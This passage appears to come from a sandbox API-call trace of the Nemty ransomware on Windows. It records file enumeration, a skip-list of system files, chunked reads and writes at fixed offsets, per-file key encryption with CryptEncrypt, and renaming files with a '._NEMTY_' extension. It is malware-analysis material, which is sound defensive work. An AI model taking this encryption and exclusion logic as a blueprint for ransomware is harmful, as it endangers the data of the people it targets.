(HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0071.150] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0071.150] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0071.150] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\nextmenubuttonicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0071.150] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0071.150] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0071.150] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.150] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0071.159] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.160] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0071.160] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.160] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0071.169] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.169] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0071.169] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.169] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0071.179] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.179] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0071.179] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.179] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0071.188] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.188] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0071.188] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.188] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0071.198] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.198] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0071.198] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.198] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0071.207] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.207] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0071.207] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.207] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0071.216] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.216] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0071.216] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.216] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0071.226] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.226] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0071.226] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.226] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0071.235] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.235] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0071.235] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.235] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0071.244] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.244] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0071.244] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.244] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0071.250] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.250] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0071.250] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.251] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0071.256] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.257] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0071.257] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.257] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0071.257] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0071.257] CloseHandle (hObject=0xffffffff) returned 0 [0071.257] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0071.257] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0071.257] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0071.257] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0071.257] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0071.257] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0071.257] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0071.257] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0071.257] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0071.257] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0071.257] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\nextmenubuttonicon.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIcon.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\nextmenubuttonicon.png._nemty_kgobjgd_")) returned 0 [0071.257] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0071.257] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0071.257] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0071.257] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0071.257] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0071.257] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0071.257] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0071.257] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0071.257] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0071.257] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0071.257] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70327743, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70327743, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dbda349, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc04, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="NextMenuButtonIconSubpictur.png", cAlternateFileName="")) returned 1 [0071.257] lstrcmpiW (lpString1="NextMenuButtonIconSubpictur.png", lpString2=".") returned 1 [0071.257] lstrcmpiW (lpString1="NextMenuButtonIconSubpictur.png", lpString2="..") returned 1 [0071.258] lstrcmpiW (lpString1="NextMenuButtonIconSubpictur.png", lpString2="...") returned 1 [0071.258] lstrcmpiW (lpString1="NextMenuButtonIconSubpictur.png", lpString2="windows") returned -1 [0071.258] lstrcmpiW (lpString1="NextMenuButtonIconSubpictur.png", lpString2="$RECYCLE.BIN") returned 1 [0071.258] lstrcmpiW (lpString1="NextMenuButtonIconSubpictur.png", lpString2="rsa") returned -1 [0071.258] lstrcmpiW (lpString1="NextMenuButtonIconSubpictur.png", lpString2="NTDETECT.COM") returned -1 [0071.258] lstrcmpiW (lpString1="NextMenuButtonIconSubpictur.png", lpString2="ntldr") returned -1 [0071.258] lstrcmpiW (lpString1="NextMenuButtonIconSubpictur.png", lpString2="MSDOS.SYS") returned 1 [0071.258] lstrcmpiW (lpString1="NextMenuButtonIconSubpictur.png", lpString2="IO.SYS") returned 1 [0071.258] lstrcmpiW (lpString1="NextMenuButtonIconSubpictur.png", lpString2="boot.ini") returned 1 [0071.258] lstrcmpiW (lpString1="NextMenuButtonIconSubpictur.png", lpString2="boot.ini") returned 1 [0071.258] lstrcmpiW (lpString1="NextMenuButtonIconSubpictur.png", lpString2="AUTOEXEC.BAT") returned 1 [0071.258] lstrcmpiW (lpString1="NextMenuButtonIconSubpictur.png", lpString2="ntuser.dat") returned -1 [0071.258] lstrcmpiW (lpString1="NextMenuButtonIconSubpictur.png", lpString2="desktop.ini") returned 1 [0071.258] lstrcmpiW (lpString1="NextMenuButtonIconSubpictur.png", lpString2="CONFIG.SYS") returned 1 [0071.258] lstrcmpiW (lpString1="NextMenuButtonIconSubpictur.png", lpString2="RECYCLER") returned -1 [0071.258] lstrcmpiW (lpString1="NextMenuButtonIconSubpictur.png", lpString2="BOOTSECT.BAK") returned 1 [0071.258] lstrcmpiW (lpString1="NextMenuButtonIconSubpictur.png", lpString2="bootmgr") returned 1 [0071.258] lstrcmpiW (lpString1="NextMenuButtonIconSubpictur.png", lpString2="programdata") returned -1 [0071.258] lstrcmpiW (lpString1="NextMenuButtonIconSubpictur.png", lpString2="appdata") returned 1 [0071.258] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0071.258] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NextMenuButtonIconSubpictur.png", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0071.258] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0071.258] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NextMenuButtonIconSubpictur.png", cchWideChar=31, lpMultiByteStr=0x4f9ecb8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NextMenuButtonIconSubpictur.png", lpUsedDefaultChar=0x0) returned 31 [0071.258] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0071.258] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0071.258] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NextMenuButtonIconSubpictur.png", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0071.258] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0071.258] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NextMenuButtonIconSubpictur.png", cchWideChar=31, lpMultiByteStr=0x4f9ecb8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NextMenuButtonIconSubpictur.png", lpUsedDefaultChar=0x0) returned 31 [0071.258] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0071.258] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0071.258] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0071.258] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0071.259] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NextMenuButtonIconSubpictur.png", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0071.259] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0071.259] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NextMenuButtonIconSubpictur.png", cchWideChar=31, lpMultiByteStr=0x4f9ecb8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NextMenuButtonIconSubpictur.png", lpUsedDefaultChar=0x0) returned 31 [0071.259] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0071.259] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0071.259] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NextMenuButtonIconSubpictur.png", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0071.259] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0071.259] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NextMenuButtonIconSubpictur.png", cchWideChar=31, lpMultiByteStr=0x4f9ed08, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NextMenuButtonIconSubpictur.png", lpUsedDefaultChar=0x0) returned 31 [0071.259] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0071.259] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0071.259] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94248 | out: hHeap=0x4f90000) returned 1 [0071.259] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340100 [0071.259] Sleep (dwMilliseconds=0x5) [0071.274] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xde212f10, dwHighDateTime=0x1d561e7)) [0071.274] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xde212f10, dwHighDateTime=0x1d561e7)) [0071.274] GetLastError () returned 0x5 [0071.274] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0071.274] GetLastError () returned 0x5 [0071.275] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0071.275] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0071.275] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0071.275] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0071.275] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0071.275] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0071.275] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63401b8 [0071.275] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63401b8, pcchString=0x653e91c | out: pszString="jZ9n3cI7Qw6yHLPMcAzfqE8Mmx5Qg7aQcbYH1L2mvW7+mC1qy2Uxi+x6F3+5Mwxo\r\nmF61tZ41Z3iEGL/ouhNaD8YSUuGUzLkfwT3cZQNGY0Cv7jSO1scvAfx/ffrrY4Ox\r\nKlRM9I3+aJNzK/HJnHMTpw8KHujlxSRbtdQE0jjTRV5OCn/mzF7D0iPtKMWWszFG\r\nfKR9hlh0MdJNCRhbnnN0+dC5pjR5TEp6DunU7fdOdPDQNWdldxz5fKXDRpK6rRci\r\naKsiVrg3jtDW+m5fVUpuO7+F9MnHVYRYIt7NeJRO9ERl+fXbiuSKt70AGxSfYiZm\r\nH5AFx1WFfjhnzQcEp1T3TQ==\r\n", pcchString=0x653e91c) returned 1 [0071.275] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0071.275] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0071.275] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0071.275] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0071.275] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63401b8 [0071.275] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0071.275] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIconSubpictur.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\nextmenubuttoniconsubpictur.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0071.275] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0071.275] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0071.275] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.275] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0071.285] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.285] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0071.285] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.285] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, 